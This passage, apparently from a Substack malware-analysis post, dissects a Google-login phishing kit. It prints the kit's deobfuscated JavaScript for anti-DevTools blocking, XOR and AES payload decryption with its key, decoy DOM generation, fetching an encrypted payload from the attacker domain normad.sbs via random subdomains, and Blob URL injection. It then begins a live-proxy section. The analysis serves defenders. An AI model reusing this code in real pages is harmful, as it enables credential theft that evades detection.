https://substackcdn.com/image/fetch/$s_!P4Rs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png 848w, https://substackcdn.com/image/fetch/$s_!P4Rs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png 1272w, https://substackcdn.com/image/fetch/$s_!P4Rs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!P4Rs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png" width="1456" height="1091" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1091,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:635891,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!P4Rs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png 424w, https://substackcdn.com/image/fetch/$s_!P4Rs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png 848w, https://substackcdn.com/image/fetch/$s_!P4Rs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png 1272w, https://substackcdn.com/image/fetch/$s_!P4Rs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code><code>function _0x20a584(){
    document.addEventListener('visibilitychange',function(){
        if(document.hidden){
            _0x55b414.warning.classList.add('active');
        }else{
            _0x55b414.warning.classList.remove('active');
        }
    });
    
    window.addEventListener('blur',function(){
        _0x55b414.warning.classList.add('active');
    });
    
    window.addEventListener('focus',function(){
        _0x55b414.warning.classList.remove('active');
    });
}</code></code></pre><h4>How It Works:</h4><p>The function registers multiple event listeners that track page visibility and window focus state. These listeners work together to detect any loss of attention, regardless of how the user navigates away.</p><p><strong>Visibility API Detection: </strong>The script listens for the <code>visibilitychange</code> event and checks the <code>document.hidden</code> property. When the browser tab becomes inactive, such as when the user switches to another tab, the warning element is activated.</p><p><strong>Window Blur Detection: </strong>A <code>blur</code> event listener detects when the browser window loses focus entirely, such as when the user clicks another application or minimizes the browser. This triggers the same warning state.</p><p><strong>Window Focus Restoration: </strong>When the user returns to the page, either by refocusing the window or switching back to the tab, the <code>focus</code> event removes the warning and restores the normal interface.</p><p><strong>Warning Display Logic: </strong>The warning is shown by adding an <code>active</code> class to a dedicated warning element. This typically displays an overlay or message instructing the user to keep the page active. When focus is regained, the class is removed and the warning disappears.</p><p>This mechanism is designed to maintain user engagement during the phishing flow. By immediately reacting to tab changes or window focus loss, the page discourages victims from opening new tabs to inspect the URL, search for the displayed company name, or consult external sources. Warning messages such as &#8220;Please keep this window active&#8221; introduce urgency and subtly pressure the user to comply.</p><p>In addition to influencing user behavior, this system can be used to log how often victims attempt to navigate away, providing insight into hesitation or suspicion during the attack flow.</p><div><hr></div><h3>Encryption and Decryption Functions</h3><p>The page is heavily obfuscated using multiple encryption layers to hide the final payload from scanners and static analysis. </p><p>A simple XOR layer is used first for fast obfuscation, followed by AES-256-CBC to protect the actual payload content.</p><p>Each layer must be decoded in the correct order. If any step fails, the payload never becomes readable or executable.</p><h4>CryptoJS Library Loading</h4><p>Before any encryption or decryption happens, the page loads the CryptoJS library from a CDN in the document &lt;head&gt;.</p><pre><code>&lt;script src="https://cdnjs.cloudflare[.]com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"&gt;&lt;/script&gt;</code></pre><p><strong>This library is used for:</strong></p><ul><li><p>AES-256-CBC encryption/decryption</p></li><li><p>SHA-256 hashing for key derivation</p></li><li><p>Base64 and Hex encoding/decoding</p></li><li><p>Makes the <code>CryptoJS</code> object globally available</p></li></ul><p>CryptoJS is widely used and well known, so including it does not stand out. It saves the developer from writing their own AES and hashing code and works reliably across browsers.</p><p>Because it is hosted on a trusted CDN, its presence does not usually trigger alerts. If this library fails to load, the payload cannot be decrypted and execution stops.</p><h4>XOR Decryption (First Layer):</h4><p>The first decoding step removes a lightweight obfuscation layer using XOR.</p><pre><code><code>function _0x3c2600(_0x2ae0a7,_0xc9d7cd){
    let _0x8d2675=_0x2ae0a7.replace(/-/g,'+').replace(/_/g,'/');
    while(_0x8d2675.length%4)_0x8d2675+='=';  // Add padding
    
    const _0x29541f=atob(_0x8d2675);  // Base64 decode
    let _0x458eaa='';
    
    // XOR each byte with key
    for(let _0x5a5d0c=0;_0x5a5d0c&lt;_0x29541f.length;_0x5a5d0c++){
        _0x458eaa+=String.fromCharCode(
            _0x29541f.charCodeAt(_0x5a5d0c)^
            _0xc9d7cd.charCodeAt(_0x5a5d0c%_0xc9d7cd.length)
        );
    }
    return _0x458eaa;
}</code></code></pre><p>The function converts URL-safe Base64 back to normal Base64, restores missing padding, and decodes it into raw bytes. Each byte is then XORed with a repeating key.</p><p>This does not provide strong security by itself. Its purpose is to break simple signatures and prevent the encrypted payload from being obvious in source code.</p><h4>XOR Encryption (Reverse Operation):</h4><p>This function performs the reverse process when encrypting data.</p><pre><code><code>function _0x466f00(_0xe53cf,_0x5aeba3){
    let _0x4611c3='';
    
    // XOR encrypt each character
    for(let _0x2a8d71=0;_0x2a8d71&lt;_0xe53cf.length;_0x2a8d71++){
        _0x4611c3+=String.fromCharCode(
            _0xe53cf.charCodeAt(_0x2a8d71)^
            _0x5aeba3.charCodeAt(_0x2a8d71%_0x5aeba3.length)
        );
    }
    
    // Base64 encode result
    let _0xaabb02=btoa(_0x4611c3);
    
    // Convert to URL-safe Base64
    return _0xaabb02.replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'');
}</code></code></pre><p>The output is URL-safe Base64 so it can be embedded in JavaScript or passed around without breaking parsing.</p><h3>CryptoJS Decryption:</h3><p>The final payload is decrypted using AES-256-CBC through CryptoJS.</p><pre><code><code>window['_d']=function(_0x588bae){
    try{
        var _0x2616d7=_0x588bae.replace(/-/g,'+').replace(/_/g,'/');
        var _0x273ac8=CryptoJS.enc.Base64.parse(_0x2616d7);
        var _0x3c1c5e=CryptoJS.enc.Hex.parse(_0x273ac8.words.slice(0,4));
        var _0x3dec48=CryptoJS.enc.Hex.parse(_0x273ac8.words.slice(4));
        
        return CryptoJS.AES.decrypt(
            {ciphertext:_0x3dec48},
            CryptoJS.SHA256(_k),
            {
                'iv':_0x3c1c5e,
                'mode':CryptoJS.mode.CBC,
                'padding':CryptoJS.pad.Pkcs7
            }
        ).toString(CryptoJS.enc.Utf8);
    }catch(_0x4964a8){
        return null;
    }
};</code></code></pre><p>The encrypted input is converted from URL-safe Base64 into binary data. The first part is used as the initialization vector, and the rest is treated as the AES ciphertext.</p><p>The AES key is derived by hashing a static key string with SHA-256. If decryption fails for any reason, the function returns null and the payload never executes.</p><h4>Encryption Key:</h4><p>The AES key is stored as multiple string fragments that are concatenated at runtime.</p><pre><code><code>var _k='K9mP2xQ7vR'+'4nL8jF3wE6'+'yT1hG5bN0c'+'Z9aD4fH8kM'+'cV6wE2sL9p';</code></code></pre><p>Splitting the key makes it less obvious during quick source inspection and avoids having a single visible key string.</p><div><hr></div><h3>Anti-DevTools</h3><p>The page actively prevents victims from inspecting the code or debugging the JavaScript by blocking common developer tool access methods. </p><p>These controls are designed to stop casual inspection and discourage non-technical users from exploring the page source or script behavior.</p><pre><code><code>function _0x18b624(){
    // Disable right-click
    document.addEventListener('contextmenu',_0x246cfb=&gt;{
        _0x246cfb.preventDefault();
    });
    
    // Disable keyboard shortcuts
    document.addEventListener('keydown',_0x48ad13=&gt;{
        const _0x537f31=_0x48ad13.key.toLowerCase();
        const _0x3689e8=_0x48ad13.ctrlKey;
        const _0x3ac552=_0x48ad13.shiftKey;
        const _0x1b58ea=_0x48ad13.metaKey;
        
        const _0x39e530=['t','w','n','f','u','s']; // Ctrl+Shift+T/W/N/F/U/S
        const _0x11b8ee=['i','j','c']; // Ctrl+Shift+I/J/C
        
        // Block F12
        if(_0x537f31==='f12'){
            _0x48ad13.preventDefault();
            return;
        }
        
        // Block Ctrl+Shift+[T/W/N/F/U/S]
        if(_0x3689e8&amp;&amp;_0x1b58ea&amp;&amp;_0x39e530.includes(_0x537f31)){
            _0x48ad13.preventDefault();
            return;
        }
        
        // Block Ctrl+Shift+[I/J/C] (DevTools)
        if(_0x3689e8&amp;&amp;_0x1b58ea&amp;&amp;_0x3ac552&amp;&amp;_0x11b8ee.includes(_0x537f31)){
            _0x48ad13.preventDefault();
            return;
        }
        
        // Block Ctrl+U (View Source)
        if(_0x48ad13.keyCode===85){
            _0x48ad13.preventDefault();
            return;
        }
    });
    
    // Disable mouse button 2 (middle click)
    document.addEventListener('mousedown',_0x165e23=&gt;{
        if(_0x165e23.button===1){
            _0x165e23.preventDefault();
        }
    });
}</code></code></pre><p>The script attaches event listeners to the document that intercept both mouse and keyboard input. <strong>Blocked actions include:</strong></p><ul><li><p><strong>F12:</strong> Prevents opening the Developer Tools window.</p></li><li><p><strong>Ctrl + Shift + I:</strong> Blocks the shortcut for DevTools (Inspect tab).</p></li><li><p><strong>Ctrl + Shift + J:</strong> Blocks the shortcut for DevTools (Console tab).</p></li><li><p><strong>Ctrl + Shift + C:</strong> Disables the element picker/inspector tool.</p></li><li><p><strong>Ctrl + U:</strong> Prevents viewing the raw HTML page source.</p></li><li><p><strong>Right Click:</strong> Disables the context menu (where &#8220;Inspect&#8221; and &#8220;Save Image&#8221; usually live).</p></li><li><p><strong>Middle Click:</strong> Prevents opening links in a new background tab.</p></li></ul><h4>How It Works:</h4><p>All keydown events are monitored and evaluated for specific combinations associated with Developer Tools access, including modifier keys such as Ctrl, Shift, and Meta combined with known shortcut keys. </p><p>When a blocked shortcut is detected, the script calls preventDefault() to stop the browser from performing its normal action. </p><p>Middle mouse button clicks are also intercepted to prevent users from opening links in new tabs where inspection might be easier.</p><h4>Limitations:</h4><p>These protections can be bypassed by opening Developer Tools before the page loads, disabling JavaScript entirely, or using browser settings that force console access.</p><p>External analysis tools such as Burp Suite or Wireshark are unaffected because they operate outside the browser.</p><p>However, these bypasses require technical knowledge that typical phishing victims do not possess. For non-technical users, the page appears locked down and resistant to inspection, reducing the chance that suspicious scripts, hidden redirects, or malicious behavior are noticed before credentials are entered.</p><div><hr></div><h3>Decoy HTML Generation</h3><p>The page injects invisible decoy HTML elements to inflate the DOM and hide the real phishing logic among large amounts of believable but non functional markup. These elements are never meant to be seen or interacted with by the user.</p><p>This behavior runs on every page load and produces a different DOM structure each time, which prevents static analysis tools from reliably identifying malicious components.</p><pre><code><code>var componentGenerators=[
    function(){
        var inputTypes=['text','email','tel','search','url','hidden'];
        return '&lt;input type="'+_r(inputTypes)+'" name="'+_id(8)+'" value="" tabindex="-1" autocomplete="off" aria-hidden="true" style="'+_r(invisibleStyles)+'"&gt;';
    },
    function(){
        return '&lt;a href="#'+_id(8)+'" class="'+_id(10)+'" style="'+_r(invisibleStyles)+'" tabindex="-1"&gt;'+_r(['Skip to content','Skip navigation'])+'&lt;/a&gt;';
    },
    function(){
        return '&lt;div role="'+_r(['status','alert','log'])+'" aria-live="'+_r(['polite','assertive','off'])+'" aria-atomic="true" class="'+_id(10)+'" style="'+_r(invisibleStyles)+'"&gt;&lt;/div&gt;';
    },
    function(){
        return '&lt;svg xmlns="http://www.w3.org/2000/svg" style="'+_r(invisibleStyles)+'"&gt;&lt;defs&gt;&lt;symbol id="'+_id(8)+'"&gt;&lt;path d="M0 0"/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;';
    },
    function(){
        return '&lt;script type="application/json" id="'+_r(['__INITIAL_STATE__','__PRELOADED_STATE__','__APP_DATA__'])+'" data-'+_id(4)+'="'+_rHex(8)+'"&gt;{"v":'+_$$$(100)+'}&lt;\/script&gt;';
    }
];

var html='';
var componentCount=8+_$$$(13);
for(var i=0;i&lt;componentCount;i++){
    html+=_r(componentGenerators)();
}
container.innerHTML=html;
document.body.appendChild(container);</code></code></pre><h4>How It Works:</h4><p>On each page load, the script randomly selects from five different generator functions. Each generator produces a different type of HTML element such as:</p><ul><li><p><strong>Hidden Inputs:</strong> Mimic form fields with random names/types</p></li><li><p><strong>Skip Links:</strong> Standard accessibility feature, completely invisible</p></li><li><p><strong>ARIA Regions:</strong> Accessibility live regions for screen readers</p></li><li><p><strong>SVG Symbols:</strong> Empty vector graphics that don&#8217;t render</p></li><li><p><strong>State Scripts:</strong> Fake application state JSON (looks like React/Redux)</p></li></ul><p>Each generated element is styled using one of several invisible styling techniques, including off screen positioning, CSS clipping, hidden visibility, zero opacity, or minimal size. This guarantees the elements never appear visually and cannot be interacted with by the user.</p><p>The script also varies the total number of components generated per session. Between 8 and 20 elements are injected on each load, making the DOM layout unpredictable and inconsistent across visits.</p><p><strong>Believable Attributes and Patterns: </strong>All decoy elements include realistic attributes such as random IDs, proper ARIA roles, accessibility flags, and standard HTML semantics. These attributes closely match patterns seen in legitimate, professionally developed websites.</p><p>The components themselves are based on common web development patterns, including accessibility skip links, ARIA live regions, SVG symbol definitions, and application state script blocks. These patterns are widely used in modern frameworks and do not appear suspicious in isolation.</p><p><strong>Component Behavior: </strong>Hidden inputs mimic real form fields by using common input types and believable field names, but they are never read or submitted. Skip links resemble standard accessibility features like &#8220;Skip to content&#8221; but remain invisible and unused. ARIA regions exist only as inert placeholders. SVG symbols define empty vector graphics that never render. State script blocks resemble React or Redux style application state but contain meaningless data.</p><p><strong>Purpose and Effect: </strong>By flooding the DOM with legitimate looking but functionless components, automated scanners waste time parsing irrelevant content. Because the element types, attributes, and counts change on every load, static DOM signatures become ineffective.</p><p>This decoy layer buries the real malicious functionality among large amounts of professional looking markup, making the page harder to analyze while still appearing clean and legitimate to the victim.</p><div><hr></div><h3>Payload Retrieval</h3><p>The phishing page retrieves its final payload from an attacker controlled command and control server. This server is not contacted using a fixed URL. </p><p>Instead, the page builds the request dynamically at runtime to avoid static blocking and make network indicators unreliable. The infrastructure supports multiple connection formats and can switch between them if one path is blocked or fails.</p><h4>C2 Configuration Variables</h4><p>Two core values define how the page communicates with the backend server.</p><p>The first is an XOR key, <code>_SuperBigNyasher47_</code>, which is used to decrypt the first layer of data returned by the server. </p><pre><code><code>const _0x3252c6='_SuperBigNyasher47_'; // XOR key
const _0x471514='normad.sbs'; // Malicious domain</code></code></pre><p>This ensures that even if the response is intercepted, it does not appear readable without executing the page&#8217;s JavaScript.</p><p>The second is the attacker controlled domain <code>normad.sbs</code>, which hosts the encrypted payloads and API endpoints used during the attack.</p><h4>Endpoint Format</h4><p>The primary request format uses HTTPS and includes a randomized subdomain.</p><p>An example request looks like:</p><pre><code><code>https://[random].normad.sbs/api/get?p=[path]&amp;_=[timestamp]</code></code></pre><p>The <code>p</code> parameter identifies which payload or resource should be returned. The <code>_</code> parameter contains a timestamp and is used to prevent caching and make each request appear unique.</p><p>If HTTPS or subdomains fail, the page can fall back to a direct IP style request using HTTP on a non standard port:</p><pre><code><code>http://normad.sbs:8080/api/get?p=[path]</code></code></pre><p>This fallback increases resilience if TLS inspection, DNS filtering, or subdomain blocking is in place.</p><h4>Dynamic Subdomain Generation</h4><p>To evade domain based blocking, the page generates a new numeric subdomain for each request.</p><pre><code><code>function _0xeea2e(_0x54074b = 8) {
    const _0x4adc19 = '0123456789';  // Character set for subdomain
    let _0x570438 = '';
    
    for (let _0x35cb42 = 0; _0x35cb42 &lt; _0x54074b; _0x35cb42++) {
        _0x570438 += _0x4adc19[Math.floor(Math.random() * _0x4adc19.length)];
    }
    
    return _0x570438;  // Returns something like "73829164"
}</code></code></pre><p>The function responsible for this creates a random string of digits, typically eight characters long. Each digit is chosen randomly, producing values such as <code>73829164</code>. </p><p>This value is then prepended to the main domain, resulting in a different hostname on every request. Because these subdomains do not exist in advance and change continuously, security tools that rely on static domain indicators or DNS reputation struggle to block the traffic reliably.</p><p><strong>Effect on Detection:</strong> This structure prevents defenders from relying on a single hostname, fixed URL path, or consistent request pattern. Network traffic appears distributed across many unique subdomains while still resolving to the same backend infrastructure.</p><p>Combined with encryption of the response data, this URL strategy allows the phishing page to retrieve its payload quietly and adapt to partial network disruption without breaking the attack chain.</p><div><hr></div><h3>Payload Injection</h3><p>After the CAPTCHA is successfully completed, the page retrieves the encrypted phishing payload from the command and control server, decrypts it in multiple stages, and injects the final HTML into the browser using a Blob URL. </p><p>This entire process occurs client side and avoids exposing the final payload to network monitoring tools.</p><h4>Step 1: Fetch Encrypted Payload from C2</h4><p>The function <code>_0x5379ab()</code> is responsible for retrieving the payload from the C2 server. It constructs the request URL dynamically by generating a random numeric subdomain using <code>_0xeea2e()</code>, then appending the configured domain and API path.</p><pre><code><code>async function _0x5379ab(_0x19c818){
    const _0x554687=_0xeea2e(); // Random subdomain
    let _0x23dd3a=_0x21edb1+_0x554687+'.'+_0x471514+'/api/get?p=';
    
    if(_0x19c818){
        _0x23dd3a+='&amp;path='+encodeURIComponent(_0x19c818);
    }
    
    const _0x51cf25=await fetch(_0x23dd3a);
    const _0x450e52=await _0x51cf25.json();
    
    return {
        'd':_0x450e52.d,
        'hash':_0x450e52.hash||''
    };
}</code></code></pre><p>The request is sent to /api/get and includes the current page path when available. This allows the server to return different payloads depending on the entry point. </p><p>The response is returned as JSON and contains an encrypted data field d and an optional integrity hash. Only the encrypted blob is transferred over the network.</p><h4>Example C2 Response:</h4><p>The C2 server responds with a JSON object where the encrypted payload is stored in the d field and any additional fields are optional metadata.</p><pre><code>{
  "d": "U2FsdGVkX1+vupppZksvRf5pq5g5XjFRlipRkw...",
  "hash": "a3f8b9c2d1e4f5a6b7c8d9e0f1a2b3c4"
}</code></pre><h4>Step 2: Main Execution Flow</h4><p>This function runs automatically when the page loads. </p><p>It handles downloading the payload, decrypting it, waiting for the CAPTCHA to be solved, and then loading the final page.</p><pre><code><code>(async () =&gt; {
    // Get current pathname (e.g., "/index.html" &#8594; "index.html")
    const _0x46c777 = window.location.pathname.substring(1);
    
    // Fetch encrypted payload from C2
    const _0x2da332 = await _0x5379ab(_0x46c777);
    
    // LAYER 1: XOR Decrypt the payload
    const _0x131fcb = _0x3c2600(_0x2da332.d, _0x3252c6);
    
    // Split decrypted data by pipe delimiter
    const _0x2e1228 = _0x131fcb.split('|');
    
    // Parse pipe-delimited configuration fields
    const _0x5135d1 = _0x2e1228[0];        // [0] AES-encrypted final URL
    const _0x2929de = _0x2e1228[1];        // [1] Feature flags (e.g., "11")
    const _0x50c7ba = _0x2e1228[2] || '';  // [2] Redirect URL
    const _0x3757a1 = _0x2e1228[3] || '';  // [3] Options string
    const _0x1fe2f8 = _0x2e1228[4] || '[]';// [4] Array data (JSON)
    const _0x530cc1 = _0x2e1228[5] || '';  // [5] Extra parameter
    const _0x377a73 = _0x2e1228[6] || '';  // [6] Custom HTML (Base64)
    
    // Decode custom HTML if provided
    let _0x3c99a6 = '';
    if (_0x377a73) {
        try {
            _0x3c99a6 = atob(_0x377a73);  // Base64 decode
        } catch (_0x322581) {}
    }
    
    // Check if CAPTCHA should be shown
    const _0x4975ab = new URLSearchParams(window.location.search).get('t');
    const _0x27cb04 = !_0x59b5de &amp;&amp; (_0x4975ab === '1' || !_0x3c99a6);
    
    if (_0x27cb04) {
        AntiBotProtection.init();  // Display CAPTCHA overlay
    }
    
    // Wait for user to solve CAPTCHA
    await AntiBotProtection.waitForCompletion();
    
    // LAYER 2: AES Decrypt the final phishing page HTML
    // (This happens in another part of the code using window._d())
    
    // STEP 3: Inject via Blob URL
    const _0x1bb6a7 = new Blob([_0x2bff10], {type: 'text/html'});
    const _0x510c3a = URL.createObjectURL(_0x1bb6a7);
    
    // Replace current page with blob URL
    window.location.replace(_0x510c3a);
})();</code></code></pre><p>At this point the payload has been fully decrypted inside the browser. The final HTML never appears in network traffic and is never saved as a file.</p><h4>Step 4: Blob URL Injection</h4><p>Once decryption completes, the final phishing HTML is injected using a Blob URL:</p><pre><code>const _0x1bb6a7 = new Blob([_0x2bff10], {type: 'text/html'});
const _0x510c3a = URL.createObjectURL(_0x1bb6a7);
window.location.replace(_0x510c3a);</code></pre><h4>Why Attackers Use Blob URLs</h4><p>Blob URLs let the final phishing page run without ever being downloaded as a normal HTML file. Network tools only see an encrypted JSON request, not the real page.</p><p>Because <code>blob://</code> pages are internal to the browser, scanners and crawlers cannot fetch them. In many cases, browser security rules also allow Blob pages by default.</p><p>The result is that defenders see almost nothing suspicious on the network, even though a full phishing page is displayed to the user.</p><div><hr></div><h2>Part 4: The Live Proxy Attack</h2><p>At this stage, the attack shifts from a static phishing page to a live proxy setup. </p><p>The attacker places a relay between the victim&#8217;s browser and Google&#8217;s real authentication servers. This allows credentials and session data to be captured in real time while the page continues to function like a legitimate Google login.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fGXY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fGXY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png 424w, https://substackcdn.com/image/fetch/$s_!fGXY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png 848w, https://substackcdn.com/image/fetch/$s_!fGXY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png 1272w, https://substackcdn.com/image/fetch/$s_!fGXY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fGXY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png" width="1456" height="1090" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/af8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1090,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:558099,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!fGXY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png 424w, https://substackcdn.com/image/fetch/$s_!fGXY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png 848w, https://substackcdn.com/image/fetch/$s_!fGXY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png 1272w, https://substackcdn.com/image/fetch/$s_!fGXY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf8d1d45-e1a7-4528-9e7e-aa4db5f3c93a_1806x1352.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Step 1: Fileless Delivery via Blob URL</h3><p>The login page is delivered using a Blob URL:</p><pre><code>blob:https://accounts-g0033le-com-04fe.robertsoneric509.workers[.]dev/65c2b89a-612e-4f48-bfbd-bd40b49afde0</code></pre><h4>How It Works:</h4><p>A Blob, or Binary Large Object, is created directly in browser memory through JavaScript. Instead of requesting an HTML document from a server, a loader script generates 